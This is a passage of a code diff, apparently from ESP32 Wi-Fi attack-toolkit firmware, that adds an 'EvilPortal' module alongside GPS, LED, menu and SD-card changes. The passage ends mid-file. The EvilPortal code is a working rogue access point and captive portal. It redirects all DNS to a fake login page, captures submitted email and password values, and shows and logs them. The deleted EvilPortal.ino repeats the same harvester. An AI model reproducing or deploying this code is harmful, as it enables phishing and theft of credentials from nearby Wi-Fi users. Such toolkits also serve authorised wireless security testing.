+      inputMessage = request->getParam("email")->value();
+      inputParam = "email";
+      this->user_name = inputMessage;
+      this->name_received = true;
+    }
+
+    if (request->hasParam("password")) {
+      inputMessage = request->getParam("password")->value();
+      inputParam = "password";
+      this->password = inputMessage;
+      this->password_received = true;
+    }
+    request->send(
+      200, "text/html",
+      "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
+  });
+  Serial.println("web server up");
+}
+
+bool EvilPortal::setHtml() {
+  Serial.println("Setting HTML...");
+  #ifndef WRITE_PACKETS_SERIAL
+    File html_file = sd_obj.getFile("/index.html");
+    if (!html_file) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("Could not find /index.html.");
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("Could not find /index.html. Use stopscan...");
+      return false;
+    }
+    else {
+      if (html_file.size() > MAX_HTML_SIZE) {
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("The given HTML is too large.");
+          this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
+          this->sendToDisplay("Touch to exit...");
+        #endif
+        Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
+        return false;
+      }
+      String html = "";
+      while (html_file.available()) {
+        char c = html_file.read();
+        if (isPrintable(c))
+          html.concat(c);
+      }
+      strncpy(index_html, html.c_str(), strlen(html.c_str()));
+      this->has_html = true;
+      Serial.println("html set");
+      html_file.close();
+      return true;
+    }
+  #else
+    return false;
+  #endif
+
+}
+
+bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
+  // See if there are selected APs first
+  String ap_config = "";
+  String temp_ap_name = "";
+  for (int i = 0; i < access_points->size(); i++) {
+    if (access_points->get(i).selected) {
+      temp_ap_name = access_points->get(i).essid;
+      break;
+    }
+  }
+  // If there are no SSIDs and there are no APs selected, pull from file
+  // This means the file is last resort
+  if ((ssids->size() <= 0) && (temp_ap_name == "")) {
+    #ifndef WRITE_PACKETS_SERIAL
+      File ap_config_file = sd_obj.getFile("/ap.config.txt");
+      // Could not open config file. return false
+      if (!ap_config_file) {
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("Could not find /ap.config.txt.");
+          this->sendToDisplay("Touch to exit...");
+        #endif
+        Serial.println("Could not find /ap.config.txt. Use stopscan...");
+        return false;
+      }
+      // Config file good. Proceed
+      else {
+        // ap name too long. return false        
+        if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
+          #ifdef HAS_SCREEN
+            this->sendToDisplay("The given AP name is too large.");
+            this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+            this->sendToDisplay("Touch to exit...");
+          #endif
+          Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+          return false;
+        }
+        // AP name length good. Read from file into var
+        while (ap_config_file.available()) {
+          char c = ap_config_file.read();
+          Serial.print(c);
+          if (isPrintable(c)) {
+            ap_config.concat(c);
+          }
+        }
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("AP name from config file");
+          this->sendToDisplay("AP name: " + ap_config);
+        #endif
+        Serial.println("AP name from config file: " + ap_config);
+        ap_config_file.close();
+      }
+    #else
+      return false;
+    #endif
+  }
+  // There are SSIDs in the list but there could also be an AP selected
+  // Priority is SSID list before AP selected and config file
+  else if (ssids->size() > 0) {
+    ap_config = ssids->get(0).essid;
+    if (ap_config.length() > MAX_AP_NAME_SIZE) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("The given AP name is too large.");
+        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+      return false;
+    }
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("AP name from SSID list");
+      this->sendToDisplay("AP name: " + ap_config);
+    #endif
+    Serial.println("AP name from SSID list: " + ap_config);
+  }
+  else if (temp_ap_name != "") {
+    if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("The given AP name is too large.");
+        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+    }
+    else {
+      ap_config = temp_ap_name;
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("AP name from AP list");
+        this->sendToDisplay("AP name: " + ap_config);
+      #endif
+      Serial.println("AP name from AP list: " + ap_config);
+    }
+  }
+  else {
+    Serial.println("Could not configure Access Point. Use stopscan...");
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("Could not configure Access Point.");
+      this->sendToDisplay("Touch to exit...");
+    #endif
+  }
+
+  if (ap_config != "") {
+    strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
+    this->has_ap = true;
+    Serial.println("ap config set");
+    return true;
+  }
+  else
+    return false;
+
+}
+
+void EvilPortal::startAP() {
+  Serial.print("starting ap ");
+  Serial.println(apName);
+
+  WiFi.mode(WIFI_AP);
+  WiFi.softAP(apName);
+
+  #ifdef HAS_SCREEN
+    this->sendToDisplay("AP started");
+  #endif
+
+  Serial.print("ap ip address: ");
+  Serial.println(WiFi.softAPIP());
+
+  this->setupServer();
+
+  this->dnsServer.start(53, "*", WiFi.softAPIP());
+  server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
+  server.begin();
+  #ifdef HAS_SCREEN
+    this->sendToDisplay("Evil Portal READY");
+  #endif
+}
+
+void EvilPortal::startPortal() {
+  // wait for flipper input to get config index
+  this->startAP();
+
+  this->runServer = true;
+}
+
+void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
+  len = str.length(); // Obtain the length of the string
+
+  buf = new uint8_t[len]; // Dynamically allocate the buffer
+
+  // Copy each character from the string to the buffer
+  for (uint32_t i = 0; i < len; i++) {
+    buf[i] = static_cast<uint8_t>(str.charAt(i));
+  }
+}
+
+void EvilPortal::addLog(String log, int len) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  if (save_packet) {
+    uint8_t* logBuffer = nullptr;
+    uint32_t logLength = 0;
+    this->convertStringToUint8Array(log, logBuffer, logLength);
+    
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.addPacket(logBuffer, logLength, true);
+      delete[] logBuffer;
+    #elif defined(HAS_SD)
+      sd_obj.addPacket(logBuffer, logLength, true);
+      delete[] logBuffer;
+    #else
+      delete[] logBuffer;
+      return;
+    #endif
+  }
+}
+
+void EvilPortal::sendToDisplay(String msg) {
+  #ifdef HAS_SCREEN
+    String display_string = "";
+    display_string.concat(msg);
+    int temp_len = display_string.length();
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+    display_obj.loading = true;
+    display_obj.display_buffer->add(display_string);
+    display_obj.loading = false;
+  #endif
+}
+
+void EvilPortal::main(uint8_t scan_mode) {
+  if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
+    this->dnsServer.processNextRequest();
+    if (this->name_received && this->password_received) {
+      this->name_received = false;
+      this->password_received = false;
+      String logValue1 =
+          "u: " + this->user_name;
+      String logValue2 = "p: " + this->password;
+      String full_string = logValue1 + " " + logValue2 + "\n";
+      Serial.print(full_string);
+      this->addLog(full_string, full_string.length());
+      #ifdef HAS_SCREEN
+        this->sendToDisplay(full_string);
+      #endif
+    }
+  }
+}

+ 110 - 0
esp32cam_marauder/EvilPortal.h

@@ -0,0 +1,110 @@
+#ifndef EvilPortal_h
+#define EvilPortal_h
+
+#include "ESPAsyncWebServer.h"
+#include <AsyncTCP.h>
+#include <DNSServer.h>
+
+#include "configs.h"
+#include "settings.h"
+#ifdef HAS_SCREEN
+  #include "Display.h"
+  #include <LinkedList.h>
+#endif
+#ifndef WRITE_PACKETS_SERIAL
+  #include "SDInterface.h"
+#else
+  #include "Buffer.h"
+#endif
+#include "lang_var.h"
+
+extern Settings settings_obj;
+#ifndef WRITE_PACKETS_SERIAL
+  extern SDInterface sd_obj;
+#endif
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+extern Buffer buffer_obj; 
+
+#define WAITING 0
+#define GOOD 1
+#define BAD 2
+
+#define SET_HTML_CMD "sethtml="
+#define SET_AP_CMD "setap="
+#define RESET_CMD "reset"
+#define START_CMD "start"
+#define ACK_CMD "ack"
+#define MAX_AP_NAME_SIZE 30
+#define WIFI_SCAN_EVIL_PORTAL 30
+
+char apName[MAX_AP_NAME_SIZE] = "PORTAL";
+char index_html[MAX_HTML_SIZE] = "TEST";
+
+struct ssid {
+  String essid;
+  uint8_t channel;
+  uint8_t bssid[6];
+  bool selected;
+};
+
+struct AccessPoint {
+  String essid;
+  uint8_t channel;
+  uint8_t bssid[6];
+  bool selected;
+  LinkedList<char>* beacon;
+  char rssi;
+  LinkedList<uint8_t>* stations;
+};
+
+class CaptiveRequestHandler : public AsyncWebHandler {
+public:
+  CaptiveRequestHandler() {}
+  virtual ~CaptiveRequestHandler() {}
+
+  bool canHandle(AsyncWebServerRequest *request) { return true; }
+
+  void handleRequest(AsyncWebServerRequest *request) {
+    request->send_P(200, "text/html", index_html);
+  }
+};
+
+class EvilPortal {
+
+  private:
+    bool runServer;
+    bool name_received;
+    bool password_received;
+
+    String user_name;
+    String password;
+
+    bool has_html;
+    bool has_ap;
+
+    DNSServer dnsServer;
+
+    void (*resetFunction)(void) = 0;
+
+    bool setHtml();
+    bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
+    void setupServer();
+    void startPortal();
+    void startAP();
+    void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
+    void sendToDisplay(String msg);
+
+  public:
+    EvilPortal();
+
+    String get_user_name();
+    String get_password();
+    void addLog(String log, int len);
+    bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
+    void main(uint8_t scan_mode);
+
+};
+
+#endif

+ 0 - 200
esp32cam_marauder/EvilPortal.ino

@@ -1,200 +0,0 @@
-// From: https://raw.githubusercontent.com/bigbrodude6119/flipper-zero-evil-portal/main/esp32/EvilPortal/EvilPortal.ino
-
-#include "ESPAsyncWebServer.h"
-#include <AsyncTCP.h>
-#include <DNSServer.h>
-#include <WiFi.h>
-
-#define MAX_HTML_SIZE 20000
-
-#define B_PIN 4
-#define G_PIN 5
-#define R_PIN 6
-
-#define WAITING 0
-#define GOOD 1
-#define BAD 2
-
-#define SET_HTML_CMD "sethtml="
-#define SET_AP_CMD "setap="
-#define RESET_CMD "reset"
-#define START_CMD "start"
-#define ACK_CMD "ack"
-
-// GLOBALS
-DNSServer dnsServer;
-AsyncWebServer evilportal_server(80);
-
-bool runServer = false;
-
-String user_name;
-String password;
-bool name_received = false;
-bool password_received = false;
-
-char apName[30] = "";
-char index_html[MAX_HTML_SIZE] = "TEST";
-
-// RESET
-void (*resetFunction)(void) = 0;
-
-// AP FUNCTIONS
-class CaptiveRequestHandler : public AsyncWebHandler {
-public:
-  CaptiveRequestHandler() {}
-  virtual ~CaptiveRequestHandler() {}
-
-  bool canHandle(AsyncWebServerRequest *request) { return true; }
-
-  void handleRequest(AsyncWebServerRequest *request) {
-    request->send_P(200, "text/html", index_html);
-  }
-};
-
-void setLed(int i) {
-  /*if (i == WAITING) {
-    digitalWrite(B_PIN, LOW);
-    digitalWrite(G_PIN, HIGH);
-    digitalWrite(R_PIN, HIGH);
-  } else if (i == GOOD) {
-    digitalWrite(B_PIN, HIGH);
-    digitalWrite(G_PIN, LOW);
-    digitalWrite(R_PIN, HIGH);
-  } else {
-    digitalWrite(B_PIN, HIGH);
-    digitalWrite(G_PIN, HIGH);
-    digitalWrite(R_PIN, LOW);
-  }*/
-}
-
-void setupServer() {  
-  evilportal_server.on("/", HTTP_GET, [](AsyncWebServerRequest *request) {
-    request->send_P(200, "text/html", index_html);
-    Serial.println("client connected");
-  });
-
-  evilportal_server.on("/get", HTTP_GET, [](AsyncWebServerRequest *request) {
-    String inputMessage;
-    String inputParam;
-
-    if (request->hasParam("email")) {
-      inputMessage = request->getParam("email")->value();
-      inputParam = "email";
-      user_name = inputMessage;
-      name_received = true;
-    }
-
-    if (request->hasParam("password")) {
-      inputMessage = request->getParam("password")->value();
-      inputParam = "password";
-      password = inputMessage;
-      password_received = true;
-    }
-    request->send(
-        200, "text/html",
-        "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
-  });
-  Serial.println("web server up");
-}
-
-void startAP() {
-  Serial.print("starting ap ");
-  Serial.println(apName);
-
-  WiFi.mode(WIFI_AP);
-  WiFi.softAP(apName);
-
-  Serial.print("ap ip address: ");
-  Serial.println(WiFi.softAPIP());
-
-  setupServer();
-
-  dnsServer.start(53, "*", WiFi.softAPIP());
-  evilportal_server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
-  evilportal_server.begin();
-}
-
-bool checkForCommand(char *command) {
-  bool received = false;
-  if (Serial.available() > 0) {
-      String flipperMessage = Serial.readString();
-      const char *serialMessage = flipperMessage.c_str();
-      int compare = strncmp(serialMessage, command, strlen(command));
-      if (compare == 0) {
-        received = true;
-      }
-  }
-  return received;
-}
-
-void getInitInput() {
-  // wait for html
-  Serial.println("Waiting for HTML");
-  bool has_ap = false;
-  bool has_html = false;
-  while (!has_html || !has_ap) {
-      if (Serial.available() > 0) {
-        String flipperMessage = Serial.readString();
-        const char *serialMessage = flipperMessage.c_str();
-        if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
-          serialMessage += strlen(SET_HTML_CMD);
-          strncpy(index_html, serialMessage, strlen(serialMessage) - 1);
-          has_html = true;
-          Serial.println("html set");
-        } else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
-                   0) {
-          serialMessage += strlen(SET_AP_CMD);
-          strncpy(apName, serialMessage, strlen(serialMessage) - 1);
-          has_ap = true;
-          Serial.println("ap set");
-        } else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
-          resetFunction();
-        }
-      }
-  }
-  Serial.println("all set");
-}
-
-void startPortal() {
-  // wait for flipper input to get config index
-  startAP();
-
-  runServer = true;
-}
-
-// MAIN FUNCTIONS
-void evilportal_setup() {
-
-  // init LED pins
-  /*pinMode(B_PIN, OUTPUT);
-  pinMode(G_PIN, OUTPUT);
-  pinMode(R_PIN, OUTPUT);*/
-
-  setLed(WAITING);
-
-  //Serial.begin(115200);
-
-  // wait for init flipper input
-  getInitInput();
-
-  setLed(GOOD);
-
-  startPortal();
-}
-
-void evilportal_loop() {
-  dnsServer.processNextRequest();
-  if (name_received && password_received) {
-    name_received = false;
-    password_received = false;
-    String logValue1 =
-        "u: " + user_name;
-    String logValue2 = "p: " + password;
-    Serial.println(logValue1);
-    Serial.println(logValue2);
-  }
-  if(checkForCommand(RESET_CMD)) {
-    Serial.println("reseting");
-    resetFunction();
-  }  
-}

+ 126 - 0
esp32cam_marauder/GpsInterface.cpp

@@ -0,0 +1,126 @@
+#include "GpsInterface.h"
+
+#ifdef HAS_GPS
+
+char nmeaBuffer[100];
+
+MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
+
+HardwareSerial Serial2(GPS_SERIAL_INDEX);
+
+void GpsInterface::begin() {
+
+  Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
+
+  MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
+  MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
+
+  MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
+
+  delay(4000);
+
+  if (Serial2.available()) {
+    Serial.println("GPS Attached Successfully");
+    this->gps_enabled = true;
+    while (Serial2.available())
+      Serial2.read();
+  }
+}
+
+// Thanks JosephHewitt
+String GpsInterface::dt_string_from_gps(){
+  //Return a datetime String using GPS data only.
+  String datetime = "";
+  if (nmea.isValid() && nmea.getYear() > 0){
+    datetime += nmea.getYear();
+    datetime += "-";
+    datetime += nmea.getMonth();
+    datetime += "-";
+    datetime += nmea.getDay();
+    datetime += " ";
+    datetime += nmea.getHour();
+    datetime += ":";
+    datetime += nmea.getMinute();
+    datetime += ":";
+    datetime += nmea.getSecond();
+  }
+  return datetime;
+}
+
+void GpsInterface::setGPSInfo() {
+  this->good_fix = nmea.isValid();
+  this->num_sats = nmea.getNumSatellites();
+
+  this->datetime = this->dt_string_from_gps();
+
+  this->lat = String((float)nmea.getLatitude()/1000000, 7);
+  this->lon = String((float)nmea.getLongitude()/1000000, 7);
+  long alt = 0;
+  if (!nmea.getAltitude(alt)){
+    alt = 0;
+  }
+  this->altf = (float)alt / 1000;
+
+  this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
+
+  //nmea.clear();
+}
+
+float GpsInterface::getAccuracy() {
+  return this->accuracy;
+}
+
+String GpsInterface::getLat() {
+  return this->lat;
+}
+
+String GpsInterface::getLon() {
+  return this->lon;
+}
+
+float GpsInterface::getAlt() {
+  return this->altf;
+}
+
+String GpsInterface::getDatetime() {
+  return this->datetime;
+}
+
+String GpsInterface::getNumSatsString() {
+  return (String)num_sats;
+}
+
+bool GpsInterface::getFixStatus() {
+  return this->good_fix;
+}
+
+String GpsInterface::getFixStatusAsString() {
+  if (this->getFixStatus())
+    return "Yes";
+  else
+    return "No";
+}
+
+bool GpsInterface::getGpsModuleStatus() {
+  return this->gps_enabled;
+}
+
+void GpsInterface::main() {
+  while (Serial2.available()) {
+    //Fetch the character one by one
+    char c = Serial2.read();
+    //Serial.print(c);
+    //Pass the character to the library
+    nmea.process(c);
+  }
+
+  uint8_t num_sat = nmea.getNumSatellites();
+
+  if ((nmea.isValid()) && (num_sat > 0))
+    this->setGPSInfo();
+
+  else if ((!nmea.isValid()) && (num_sat <= 0)) {
+    this->setGPSInfo();
+  }
+}
+#endif

+ 39 - 0
esp32cam_marauder/GpsInterface.h

@@ -0,0 +1,39 @@
+#ifndef GpsInterface_h
+#define GpsInterface_h
+
+#include <MicroNMEA.h>
+
+#include "configs.h"
+
+class GpsInterface {
+  public:
+    void begin();
+    void main();
+
+    String getNumSatsString();
+    bool getFixStatus();
+    String getFixStatusAsString();
+    bool getGpsModuleStatus();
+    String getLat();
+    String getLon();
+    float getAlt();
+    float getAccuracy();
+    String getDatetime();
+
+  private:
+    // GPS Info
+    String lat = "";
+    String lon = "";
+    float altf = 0.0;
+    float accuracy = 0.0;
+    String datetime = "";
+    
+    bool gps_enabled = false;
+    bool good_fix = false;
+    uint8_t num_sats = 0;
+
+    String dt_string_from_gps();
+    void setGPSInfo();
+};
+
+#endif

+ 14 - 9
esp32cam_marauder/LedInterface.cpp

@@ -1,7 +1,7 @@
 #include "LedInterface.h"
 
 LedInterface::LedInterface() {
-  
+
 }
 
 void LedInterface::RunSetup() {
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
   else if (this->current_mode == MODE_SNIFF) {
     this->sniffLed();
   }
+  else if (this->current_mode == MODE_CUSTOM) {
+    return;
+  }
   else {
     this->ledOff();
   }
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
   return this->current_mode;
 }
 
+void LedInterface::setColor(int r, int g, int b) {
+  strip.setPixelColor(0, strip.Color(r, g, b));
+  strip.show();  
+}
+
 void LedInterface::sniffLed() {
-  strip.setPixelColor(0, strip.Color(0, 0, 255));
-  strip.show();
+  this->setColor(0, 0, 255);
 }
 
 void LedInterface::attackLed() {
-  strip.setPixelColor(0, strip.Color(255, 0, 0));
-  strip.show();
+  this->setColor(255, 0, 0);
 }
 
 void LedInterface::ledOff() {
-  strip.setPixelColor(0, strip.Color(0, 0, 0));
-  strip.show();
+  this->setColor(0, 0, 0);
 }
 
 void LedInterface::rainbow() {
   strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
   strip.show();
-    
+
   this->current_fade_itter++;
 
   this->wheel_pos = this->wheel_pos - this->wheel_speed;
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
   }
   WheelPos -= 170;
   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
-}
+}

+ 2 - 0
esp32cam_marauder/LedInterface.h

@@ -12,6 +12,7 @@
 #define MODE_RAINBOW 1
 #define MODE_ATTACK 2
 #define MODE_SNIFF 3
+#define MODE_CUSTOM 4
 
 extern Settings settings_obj;
 extern Adafruit_NeoPixel strip;
@@ -41,6 +42,7 @@ class LedInterface {
     void main(uint32_t currentTime);
 
     void setMode(uint8_t);
+    void setColor(int r, int g, int b);
     uint8_t getMode();
     
   

Разница между файлами не показана из-за своего большого размера
+ 113 - 548
esp32cam_marauder/MenuFunctions.cpp


+ 17 - 38
esp32cam_marauder/MenuFunctions.h

@@ -8,15 +8,11 @@
 #define BATTERY_ANALOG_ON 0
 
 #include "WiFiScan.h"
-#include "Display.h"
 #include "BatteryInterface.h"
 #include "SDInterface.h"
-#include "Web.h"
-#include "esp_interface.h"
-#include "a32u4_interface.h"
 #include "settings.h"
 
-#ifdef MARAUDER_MINI
+#ifdef HAS_BUTTONS
   #include <SwitchLib.h>
   extern SwitchLib u_btn;
   extern SwitchLib d_btn;
@@ -25,13 +21,9 @@
   extern SwitchLib c_btn;
 #endif
 
-extern Display display_obj;
 extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
 extern SDInterface sd_obj;
 extern BatteryInterface battery_obj;
-extern EspInterface esp_obj;
-extern A32u4Interface a32u4_obj;
 extern Settings settings_obj;
 
 #define FLASH_BUTTON 0
@@ -68,17 +60,15 @@ extern Settings settings_obj;
 #define STATUS_BAT 22
 #define STATUS_SD 23
 #define PWNAGOTCHI 24
-#define ESPRESSIF 25
-#define SHUTDOWN 26
-#define BEACON_LIST 27
-#define GENERATE 28
-#define CLEAR_ICO 29
-#define KEYBOARD_ICO 30
-#define JOIN_WIFI 31
-#define ESP_UPDATE_ICO 32
-#define BAD_USB_ICO 33
-#define TEST_BAD_USB_ICO 34
-#define LANGUAGE 35
+#define SHUTDOWN 25
+#define BEACON_LIST 26
+#define GENERATE 27
+#define CLEAR_ICO 28
+#define KEYBOARD_ICO 29
+#define JOIN_WIFI 30
+#define LANGUAGE 31
+#define STATUS_GPS 32
+#define GPS_MENU 33
 
 PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
 PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
@@ -87,15 +77,10 @@ PROGMEM static lv_disp_buf_t disp_buf;
 PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
 
 PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
-PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
-PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 
 // lvgl stuff
 PROGMEM static lv_obj_t *kb;
@@ -107,9 +92,9 @@ struct Menu;
 
 struct MenuNode {
   String name;
-  String command;
+  bool command;
   uint16_t color;
-  int icon;
+  uint8_t icon;
   TFT_eSPI_Button* button;
   bool selected;
   std::function<void()> callable;
@@ -132,7 +117,6 @@ class MenuFunctions
 
     uint32_t initTime = 0;
 
-    //Menu* current_menu;
 
     // Main menu stuff
     Menu mainMenu;
@@ -140,14 +124,12 @@ class MenuFunctions
     Menu wifiMenu;
     Menu bluetoothMenu;
     Menu badusbMenu;
-    Menu generalMenu;
     Menu deviceMenu;
 
     // Device menu stuff
     Menu whichUpdateMenu;
     Menu failedUpdateMenu;
     Menu confirmMenu;
-    Menu espUpdateMenu;
     Menu updateMenu;
     Menu settingsMenu;
     Menu specSettingMenu;
@@ -162,11 +144,8 @@ class MenuFunctions
 
     // Bluetooth menu stuff
     Menu bluetoothSnifferMenu;
-    Menu bluetoothGeneralMenu;
 
     // Settings things menus
-    Menu shutdownWiFiMenu;
-    Menu shutdownBLEMenu;
     Menu generateSSIDsMenu;
 
     static void lv_tick_handler();
@@ -174,7 +153,6 @@ class MenuFunctions
     // Menu icons
 
 
-    //TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
 
     void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
     void updateStatusBar();
@@ -194,6 +172,11 @@ class MenuFunctions
     Menu clearSSIDsMenu;
     Menu clearAPsMenu;
 
+    #ifdef HAS_GPS
+      // GPS Menu
+      Menu gpsInfoMenu;
+    #endif
+
     Ticker tick;
 
     uint16_t x = -1, y = -1;
@@ -203,13 +186,9 @@ class MenuFunctions
 
     void initLVGL();
     void deinitLVGL();
-    void joinWiFiGFX();
     void addSSIDGFX();
     void addAPGFX();
     void addStationGFX();
-    void displaySettingsGFX();
-    void writeBadUSB();
-
     void buildButtons(Menu* menu, int starting_index = 0);
     void changeMenu(Menu* menu);
     void drawStatusBar();

+ 276 - 235
esp32cam_marauder/SDInterface.cpp

@@ -1,235 +1,276 @@
-#include "SDInterface.h"
-#include "lang_var.h"
-
-bool SDInterface::initSD() {
-  String display_string = "";
-
-  /*#ifdef KIT
-    pinMode(SD_DET, INPUT);
-    if (digitalRead(SD_DET) == LOW) {
-      Serial.println(F("SD Card Detect Pin Detected"));
-    }
-    else {
-      Serial.println(F("SD Card Detect Pin Not Detected"));
-      this->supported = false;
-      return false;
-    }
-  #endif
-
-  pinMode(SD_CS, OUTPUT);
-
-  delay(10);*/
-
-  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
-    Serial.println(F("Failed to mount SD Card"));
-    this->supported = false;
-    return false;
-  }
-  uint8_t cardType = SD_MMC.cardType();
-  if (cardType == CARD_NONE) {
-    Serial.println("No MicroSD Card found");
-    this->supported = false;
-    return false;
-  } else {
-    this->supported = true;
-    this->cardType = cardType;
-    //if (cardType == CARD_MMC)
-    //  Serial.println(F("SD: MMC Mounted"));
-    //else if(cardType == CARD_SD)
-    //    Serial.println(F("SD: SDSC Mounted"));
-    //else if(cardType == CARD_SDHC)
-    //    Serial.println(F("SD: SDHC Mounted"));
-    //else
-    //    Serial.println(F("SD: UNKNOWN Card Mounted"));
-
-    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
-    
-    //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
-
-    if (this->supported) {
-      const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
-    
-      char sz[NUM_DIGITS + 1];
-     
-      sz[NUM_DIGITS] =  0;
-      for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
-      {
-          sz[i] = '0' + (this->cardSizeMB % 10);
-          display_string.concat((String)sz[i]);
-      }
-  
-      this->card_sz = sz;
-    }
-
-    buffer_obj = Buffer();
-    
-    if (!SD_MMC.exists("/SCRIPTS")) {
-      Serial.println("/SCRIPTS does not exist. Creating...");
-
-      SD_MMC.mkdir("/SCRIPTS");
-      Serial.println("/SCRIPTS created");
-    }
-    
-    return true;
-  }
-}
-
-void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
-  if ((this->supported) && (this->do_save)) {
-    buffer_obj.addPacket(buf, len);
-  }
-}
-
-void SDInterface::openCapture(String file_name) {
-  if (this->supported)
-    buffer_obj.createPcapFile(&SD_MMC, file_name);
-    buffer_obj.open();
-}
-
-void SDInterface::runUpdate() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  
-    display_obj.tft.println(F(text15));
-  #endif
-  File updateBin = SD_MMC.open("/update.bin");
-  if (updateBin) {
-    if(updateBin.isDirectory()){
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[0]));
-      #endif
-      Serial.println(F("Error, could not find \"update.bin\""));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      updateBin.close();
-      return;
-    }
-
-    size_t updateSize = updateBin.size();
-
-    if (updateSize > 0) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(F(text_table2[1]));
-      #endif
-      Serial.println(F("Starting update over SD. Please wait..."));
-      this->performUpdate(updateBin, updateSize);
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[2]));
-      #endif
-      Serial.println(F("Error, file is empty"));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      return;
-    }
-
-    updateBin.close();
-    
-      // whe finished remove the binary from sd card to indicate end of the process
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(F(text_table2[3]));
-    #endif
-    Serial.println(F("rebooting..."));
-    //SD.remove("/update.bin");      
